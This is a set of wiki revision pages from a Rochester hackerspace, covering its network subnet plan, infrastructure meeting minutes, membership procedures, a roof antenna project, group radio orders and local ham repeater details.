Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Network Infrastructure Group

2011-03-04T01:11:31Z

Ben Woodruff: /* 2011-03-03 */

=Network Infrastructure Group=

The network infrastructure group is a project group that is responsible for designing and implementing networks for Interlock, as well as keeping the [[Infrastructure#Network]] wiki page updated, and creating and maintaining the [[Network_acceptable_use_policy|network acceptable use policy]].

== Current Projects ==
(projects approved by the group)
* LDAP services

== Proposed Projects ==
* [[ChaosVPN]]
* Define network infrastructure group
* Labeling network jacks
* Documentation
** Network
** Services
** Diagrams (Physical, logical)
** Password
** Inventory
* Phone System
* IDS/IPS
* A/V Link

= Meeting Agenda / Minutes =
== 2011-03-03 ==
* LDAP
** John is going to take over the task
** We gave him feedback on properties that would be needed
** Web interface - need volunteer to design
* Status of our ESX ecosystem
** Wishlist
*** Will review hardware
**** Looks good but add PCI-Express Intel NIC (est. $60) and consider hard drive choice
** Next big project expense after SDR?
*** Possibly but bring to the whole group
** Need a volunteer to be another admin on the ESX boxes, currently Bill is only admin - GOOD TRAINING!
* Routing and switching
** Would like someone to review our setup and make recommendations (looking for volunteers)
*** No immediate volunteers but suggestion to setup some monitoring tools (see below)
* Services
** Am building a bind, dhcpd, and other services environment, if anyone would like to help I could use them
*** Carl and John will take a look as well
** Goals: get services off pfSense, have failover, generally be robust
* Monitoring
** Discussion on tools and implementation
*** MRTG, snort, OSSIM, etc
* Open forum
** Change MAC address on Doorduino
*** There is a private space to pick from (John will pick one)
** Meraki
*** Move to 3rd floor or roof
*** Talk to Larry (Ben)
*** Possibly deploy more
*** Consider renewing the license (donations coming from it should cover it)

== 2010-12-02 ==
* phone update
** successfull established a trunk to HackPGH
** need to open up more ports
** we will pick up a pay phone in March
** need to get a POTS card
** Q: can we proxy SIP? A: Sure but haven't found a free one
** Q: should we set up an XX-NNNN where everyone has the same XX or should XX be changed based on the hackerspace you're calling? A: ...
* chaosVPN
** Q:where to implement ChaosVPN A: Warzone goes on pfsense, openctf subnet routed to warzone
* labeling
** start but we got distracted
* ldap
** Joe will be doing the LDAP server
* documentation
** could be dependant on ldap server
* pfsense infrastructure
** ?Need Intel pro card
* documentation
** need policies, procedures, and statement of what needs to be documented
** put stuff on wiki
* AV link
** haven't seen Drew in a while
** not sure of the status
* Meraki Service Policy
** Q: How do we handle support? A: we don't support it
** Q: How is money handled? A: Steve gets money and he donates it
** Bill will donate his access point to the cause
* repo mirror
** yep but internal only. Details to be decided by interested parties
* monthly password
** password is going to be changed after the first friday

Network Infrastructure Group

2011-03-04T00:46:30Z

Ben Woodruff: /* 2011-03-03 */

=Network Infrastructure Group=

The network infrastructure group is a project group that is responsible for designing and implementing networks for Interlock, as well as keeping the [[Infrastructure#Network]] wiki page updated, and creating and maintaining the [[Network_acceptable_use_policy|network acceptable use policy]].

== Current Projects ==
(projects approved by the group)
* LDAP services

== Proposed Projects ==
* [[ChaosVPN]]
* Define network infrastructure group
* Labeling network jacks
* Documentation
** Network
** Services
** Diagrams (Physical, logical)
** Password
** Inventory
* Phone System
* IDS/IPS
* A/V Link

= Meeting Agenda / Minutes =
== 2011-03-03 ==
* LDAP
** John is going to take over the task
** We gave him feedback on properties that would be needed
** Web interface - need volunteer to design
* Status of our ESX ecosystem
** Wishlist
*** Will review hardware
** Next big project expense after SDR?
*** Possibly but bring to the whole group
** Need a volunteer to be another admin on the ESX boxes, currently Bill is only admin - GOOD TRAINING!
* Routing and switching
** Would like someone to review our setup and make recommendations (looking for volunteers)
*** No immediate volunteers but suggestion to setup some monitoring tools (see below)
* Services
** Am building a bind, dhcpd, and other services environment, if anyone would like to help I could use them
*** Carl and John will take a look as well
** Goals: get services off pfSense, have failover, generally be robust
* Monitoring
** Discussion on tools and implementation
*** MRTG, snort, OSSIM, etc
* Open forum
** Change MAC address on Doorduino
*** There is a private space to pick from (John will pick one)
** Meraki
*** Move to 3rd floor or roof
*** Talk to Larry (Ben)
*** Possibly deploy more
*** Consider renewing the license (donations coming from it should cover it)

== 2010-12-02 ==
* phone update
** successfull established a trunk to HackPGH
** need to open up more ports
** we will pick up a pay phone in March
** need to get a POTS card
** Q: can we proxy SIP? A: Sure but haven't found a free one
** Q: should we set up an XX-NNNN where everyone has the same XX or should XX be changed based on the hackerspace you're calling? A: ...
* chaosVPN
** Q:where to implement ChaosVPN A: Warzone goes on pfsense, openctf subnet routed to warzone
* labeling
** start but we got distracted
* ldap
** Joe will be doing the LDAP server
* documentation
** could be dependant on ldap server
* pfsense infrastructure
** ?Need Intel pro card
* documentation
** need policies, procedures, and statement of what needs to be documented
** put stuff on wiki
* AV link
** haven't seen Drew in a while
** not sure of the status
* Meraki Service Policy
** Q: How do we handle support? A: we don't support it
** Q: How is money handled? A: Steve gets money and he donates it
** Bill will donate his access point to the cause
* repo mirror
** yep but internal only. Details to be decided by interested parties
* monthly password
** password is going to be changed after the first friday

Network Infrastructure Group

2011-03-03T19:20:57Z

Ben Woodruff: /* Meeting Minutes */

Induction Checklist

2011-02-17T14:02:35Z

Ben Woodruff:

{|
|'''Action ''' || '''Responsible Party''' || '''Membership Level'''
|-
| Applying member fills out a [https://spreadsheets.google.com/viewform?authkey=CNb0ltMI&hl=en&formkey=dDJTbm84QkZDcUhGY2JaTDc0TC1qUEE6MQ&ndplr=1 membership application] || Any member || All
|-
| Applicant is strongly encouraged to sign up for both the announce and general mailing lists || Any officer || All
|-
| Sponsoring member requests officer to process application || Any officer || All
|-
| Officer processes form and a bill is sent for first month's rent || Treasurer || All
|-
| First month's dues are received and documented || Treasurer || All
|-
| Treasurer tells secretary to continue processing new member || Treasurer || All
|-
| New member is sent a welcome packet with all new member documents (safety training, network acceptable use policy, Welcome to Interlock, liability waiver) || Secretary || All
|-
| New member is given wireless account / password || Netadmin Team / VP || All
|-
| An email account is setup || Any officer || Full
|-
| Applying member receives access to appropriate doors || Brian || Full
|-
| Membership list is updated and induction date of applying member is recorded || Any officer || All
|-
| New membership is announced at upcoming meeting, sent to the member mailing list || Secretary || All
|}

[[category:procedures]]

Wireless Guest Access Policy

2011-02-08T02:42:13Z

Ben Woodruff: /* Guest Policy */

= Description =
This policy defines how wireless access guest services is managed.

= Status =
Draft

= Guest Policy =
* Wireless access is controlled and monitored by the network admin team.
* Access to the Interlock Rochester network is a privilege and not a right. Donors nor members have any expectation of service.
* Donors wishing to have wireless access cannot make donations in cash. Credit card through the captive portal or reoccurring PayPal are the only acceptable methods of donation for donors who wish to be granted wireless access.
* Wireless access is provided as is. Support is provided on a best effort basis by volunteers.
* Donations are non-refundable. No exceptions.

[[category:policies]]

Roof antenna

2010-10-30T21:11:35Z

Ben Woodruff: /* Finances */

We would like to install a 2M/400 antenna (and possibly others) on the roof of the Hungerford building, where Interlock is in the basement. We have the go-ahead from the building owners. We are in desperate need of contributions in order to make this project possible! If we are going to do it, we want to do it right. Ideally we will use LMR400 feed-line and build a free-standing tower that is capable of hosting multiple antennas for future expansion

== Bill of Materials ==
* 2m/70cm J-Pole (donated by Alvaro)
* 200ft LMR-400-DB $192.00 (we're not burying it, but DB is waterproof, and given our aggressive freeze-thaw cycles, a must)
* 3 pcs EZ-400-UM Connectors $45 (need 3 in case we screw up the crimping? They're $15 apiece; it'd be a shame to not use one of them though...)

== Things to figure out ==
* What do we use for a tower?
* What do we use to attach the cable to the building? Industrial velcro?
* Would schedule 40 be a good choice for constructing the tower itself?
* Do we need to put a strobe on top? Even if we don't have to, should we?

== Finances ==
* Ben / Bill have each pledged $50
* Steve has pledged $75
* Beardy: $50

Total: $225 of estimated $300

Will Interlock match our contributions, even partially?

WePay link: [https://www.wepay.com/public/view/35059]

K2FX's preferred vendor: [http://www.rfparts.com/]

== Construction ==
* Based on a site survey by Rowan & Steve, we need approximately 160-170 feet of cable. We're going to buy 200 feet to be safe.
* We are planning on mounting the antenna on a pole that would extend approximately 20-30 feet above the highest point of the roof. This is the stair tower where the north-facing elements of the Nextel cell tower are attached. We would be on the opposite side of these antennae.
* The pole would be attached in such a way that one person could tip it over for servicing
* Paul K2FX has agreed to come over and terminate our connectors with his special $400 tool. We just need to give him a call when we're ready.

Group Orders

2010-10-01T03:31:36Z

Ben Woodruff: /* Wouxon */

=Adafruit=

The group can get up to 40% off items at adafruit.com (usually about 10% though). Orders should be over $250 (after discount).

{|
| Name || Item Description & ID || List Price
|-
| Blah || Blah || $11.11
|}
Total(not including discount): $11.11

=[http://wouxun.us/Pricing.html Wouxon]=
{|
| Name || Item Description & ID || List Price
|-
| [[User:BinaryMan|BinaryMan]] || Ben's KG-UVD1P || $90
|-
| [[User:BinaryMan|BinaryMan]] || 1700mah Battery || $24
|-
| [[User:BinaryMan|BinaryMan]] || 12v Car Charger || $10
|-
| [[User:BinaryMan|BinaryMan]] || SMA - SO239 Adapter || $5
|-
| [[user:Berticus|Beardicus]] || KG-UV2D (2M/440)|| $107
|-
| [[user:Berticus|Beardicus]] || 1700mah Battery || $24
|-
| [[user:Berticus|Beardicus]] || Dual Slot Charger || $24
|-
| [[user:Berticus|Beardicus]] || SMA - SO239 Adapter || $5
|-
| [[user:Dhraakellian|Nick]] || 1700mAh Battery || $24
|-
| [[user:Dhraakellian|Nick]] || Dual Slot Charger || $24
|-
| [[user:Dhraakellian|Nick]] || 12v Car Charger || $10
|-
| [[user:Dhraakellian|Nick]] || Speaker Mic || $14
|-
| [[user:Dhraakellian|Nick]] || SMA - SO239 Adapter || $5
|-
| [[user:Ben Woodruff|Ben]] || 1700mAh Battery || $24
|-
| [[user:Ben Woodruff|Ben]] || KG-UV2D (2M/440) ** || $107
|-
| [[user:jkl|jkluebs]] || SMA - SO239 Adapter|| $5
|-
| [[user:jkl|jkluebs]] || SMA - SO239 Adapter|| $5
|-
| ''Total'' || || $378
|}

{|
| Name || $$
|-
| [[User:BinaryMan|BinaryMan]] || $129
|-
| [[user:Berticus|Beardicus]] || $160
|-
| [[user:Dhraakellian|Nick]] || $77
|-
| [[user:Ben Woodruff|Ben]] || $133 *
|-
| ''Total'' || $497
|}

Shipping: $22 ($5.50 ea)

Roof antenna

2010-09-19T18:34:32Z

Ben Woodruff:

Main Page

2010-09-13T05:01:50Z

Ben Woodruff: /* Important Pages */

[[image:interlockroc_logo.jpg|center]]

=Interlock Rochester Wiki=

{| style="background:#F0F0F0;border:solid 2px;"
|
This is the wiki for Interlock, a multidisciplinary workshop and hackerspace in Rochester, NY. For more information, visit our main site at http://www.interlockroc.org/

* IRC: irc://irc.freenode.org/#interlock
* Google Group: http://groups.google.com/group/interlock-rochester
* Phone Number: 585 210 8HAK (8425)
* Email: [mailto:info@interlockroc.org info@interlockroc.org]
* Membership Application: [https://spreadsheets.google.com/a/interlockroc.org/viewform?authkey=CNb0ltMI&hl=en&formkey=dDJTbm84QkZDcUhGY2JaTDc0TC1qUEE6MQ Google Docs Form]
|}

==Important Pages==
* [[Contribute to Interlock]] - For members and non-members
* [[Community Outreach]]

* [[projects]] - current projects we are working on
**[[parts fund]] - parts for everyone's use
***[[General_ham_supplies]]
**[[Group Orders]] - discount group order wishlist
** [[warzone]] - network for information security research
** [[amateur radio]] - antenna building, repeater discussion, club station, etc
** [[Infrastructure#Network|networking]] - building an awesome network for the space
** [[InfinityClock]] - the awesome clock that looks like a solar eclipse
* [[organization]] - business side of the group
** [[documents]] - membership application, etc
** [[bylaws]] - rules to how business is conducted
** [[:category:procedures | procedures]]
** [[:category:policies | policies]]
* [[spaces]] - a place to talk to about the space
** getting to us
*** [[get there]] members
*** [[get there (guest)]]
** [[build out]] - adding to the space permanently
** [[infrastructure]] - outfitting the space
** [[resources]]
*** [[resources we need or want ]]
*** [[resources we have / donations]]
*** [[books]]
* Classes
** [[Arudino-Processing]]
* [[meetings]] - meeting minutes and presentations
* [[promotion]] - promoting the cause
* [[Special:ListUsers | registered wiki users]] - meet friends and members

===Learn About Hackerspaces===
* http://hackerspaces.org/wiki/Design_Patterns
* http://hackerspaces.org/
* irc://irc.freenode.net/#hackerspaces
* http://hackerspaces.org/wiki/Documentation
* http://earth.hackerspaces.org/

General ham supplies

2010-09-13T05:01:12Z

Ben Woodruff: Created page with 'This page's purpose is to allow people to request supplies they would like to see available in the space, as well as track the progress of any orders we put together. In general…'

This page's purpose is to allow people to request supplies they would like to see available in the space, as well as track the progress of any orders we put together.

In general these supplies should stay in the space, but if someone needs to make a powerpole extension cable for personal use (for example) I think everyone would be OK with that.

Materials:

{|
!Name
!Cost
!Vendor
!Link
|-
| 12 gauge 100 ft. black / red zip cord
| $82
| powerwerx
| http://www.powerwerx.com/wire-cable/red-black-zip-cord.html
|-
| 16 gauge 100 ft. black / red zip cord
| $37
| powerwerx
| http://www.powerwerx.com/wire-cable/red-black-zip-cord.html
|-
| Powerpole Crimper (cheap)
| $13
| powerwerx
| http://www.powerwerx.com/tools-meters/powerpole-crimping-tool-15-30-amp.html
|-
| 15 amp powerpoles x 25
| $20
| powerwerx
| http://www.powerwerx.com/anderson-powerpoles/powerpole-sets/15-amp-red-black-anderson-powerpole-sets.html
|-
| 30 amp powerpoles x 25
| $20
| powerwerx
| http://www.powerwerx.com/anderson-powerpoles/powerpole-sets/30-amp-red-black-anderson-powerpole-sets.html
|-
| UHF female (SO-239) -> SMA male
| $5
| powerwerx
| http://www.powerwerx.com/rf-adapters/uhf-female-to-sma-male-rf-8182.html
|-
| UHF female (SO-239) -> SMA female
| $5
| powerwerx
| http://www.powerwerx.com/rf-adapters/uhf-female-to-sma-female-rf-8181.html
|-
| UHF male -> UHF male (PL-259)
| $4
| powerwerx
| http://www.powerwerx.com/rf-adapters/uhf-male-to-uhf-male-rf-7626.html
|-
|}

Total: '''~$186'''

Amateur radio

2010-09-13T04:40:36Z

Ben Woodruff: /* projects */

== who we are ==
Interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ (General)
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.

'''UPDATE''': 9/13/10 The issue with 145.29 has been resolved and I'm recommending that people switch back to it for their primary. The issue is that we had always used an RX PL tone which apparently got disabled. In order to get back on the air with Xerox you need to disable PL tones. There is still an issue with the volume on the TX of the repeater with XARC has been made aware of.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required (RX PL 110.9 used to work but does no longer)
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)
* Ben will occasionally crossband repeat to/from one of the local repeaters (usually MCARES, see above) on this frequency so that those in the space can take advantage of the higher power transmitter. Please be careful to make sure this is not the case before attempting to use this as a simplex frequency.

Xerox used to be Echolink enabled but is no longer. JD used to run Echolink on it over RF and may allow Interlock to run a similar setup, once we have an antenna. Information is flowing slowly on this though.

None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

=== [[general ham supplies]] ===
Lets pass the hat around to purchase some supplies for use at the space. Powerpoles, cabling, adaptors, etc.

Amateur radio

2010-09-13T04:37:13Z

Ben Woodruff: /* what we do */

== who we are ==
Interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ (General)
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.

'''UPDATE''': 9/13/10 The issue with 145.29 has been resolved and I'm recommending that people switch back to it for their primary. The issue is that we had always used an RX PL tone which apparently got disabled. In order to get back on the air with Xerox you need to disable PL tones. There is still an issue with the volume on the TX of the repeater with XARC has been made aware of.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required (RX PL 110.9 used to work but does no longer)
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)
* Ben will occasionally crossband repeat to/from one of the local repeaters (usually MCARES, see above) on this frequency so that those in the space can take advantage of the higher power transmitter. Please be careful to make sure this is not the case before attempting to use this as a simplex frequency.

Xerox used to be Echolink enabled but is no longer. JD used to run Echolink on it over RF and may allow Interlock to run a similar setup, once we have an antenna. Information is flowing slowly on this though.

None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

Amateur radio

2010-09-13T04:34:13Z

Ben Woodruff: /* what we do */

== who we are ==
Interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ (General)
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.
'''UPDATE''': 9/13/10 The issue with 145.29 has been resolved and I'm recommending that people switch back to it for their primary. The issue is that we had always used an RX PL tone which apparently got disabled. In order to get back on the air with Xerox you need to disable PL tones. There is still an issue with the volume on the TX of the repeater with XARC has been made aware of.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required (RX PL 110.9 used to work but does no longer)
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)
* Ben will occasionally crossband repeat to/from one of the local repeaters (usually MCARES, see above) on this frequency so that those in the space can take advantage of the higher power transmitter. Please be careful to make sure this is not the case before attempting to use this as a simplex frequency.

Xerox used to be Echolink enabled but is no longer. JD used to run Echolink on it over RF and may allow Interlock to run a similar setup, once we have an antenna. Information is flowing slowly on this though.

None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

Group Orders

2010-09-10T16:24:51Z

Ben Woodruff: /* Wouxon */

=Adafruit=

The group can get up to 40% off items at adafruit.com (usually about 10% though). Orders should be over $250 (after discount).

{|
| Name || Item Description & ID || List Price
|-
| Blah || Blah || $11.11
|}
Total(not including discount): $11.11

=[http://wouxun.us/Pricing.html Wouxon]=
{|
| Name || Item Description & ID || List Price
|-
| [[user:Berticus|Beardicus]] || KG-UV2D (2M/440)|| $107
|-
| [[user:Berticus|Beardicus]] || 1700mah Battery || $24
|-
| [[user:Berticus|Beardicus]] || Dual Slot Charger || $24
|-
| [[user:Berticus|Beardicus]] || SMA - SO239 Adapter || $5
|-
| [[user:Dhraakellian|Nick]] || 1700mAh Battery || $24
|-
| [[user:Dhraakellian|Nick]] || Dual Slot Charger || $24
|-
| [[user:Dhraakellian|Nick]] || 12v Car Charger || $10
|-
| [[user:Dhraakellian|Nick]] || Speaker Mic || $14
|-
| [[user:Dhraakellian|Nick]] || SMA - SO239 Adapter || $5
|-
| [[user:Ben Woodruff|Ben]] || 1700mAh Battery || $24
|-
| [[user:Ben Woodruff|Ben]] || KG-UV2D (2M/440) ** || $107
|-
| ''Total'' || || $368
|}

{|
| Name || $$
|-
| [[user:Berticus|Beardicus]] || $160
|-
| [[user:Dhraakellian|Nick]] || $77
|-
| [[user:Ben Woodruff|Ben]] || $133 *
|-
| ''Total'' || $368
|}

** Reliant on someone buying my KG-UVD1P

Group Orders

2010-09-10T16:24:37Z

Ben Woodruff: /* Wouxon */

=Adafruit=

The group can get up to 40% off items at adafruit.com (usually about 10% though). Orders should be over $250 (after discount).

{|
| Name || Item Description & ID || List Price
|-
| Blah || Blah || $11.11
|}
Total(not including discount): $11.11

=[http://wouxun.us/Pricing.html Wouxon]=
{|
| Name || Item Description & ID || List Price
|-
| [[user:Berticus|Beardicus]] || KG-UV2D (2M/440)|| $107
|-
| [[user:Berticus|Beardicus]] || 1700mah Battery || $24
|-
| [[user:Berticus|Beardicus]] || Dual Slot Charger || $24
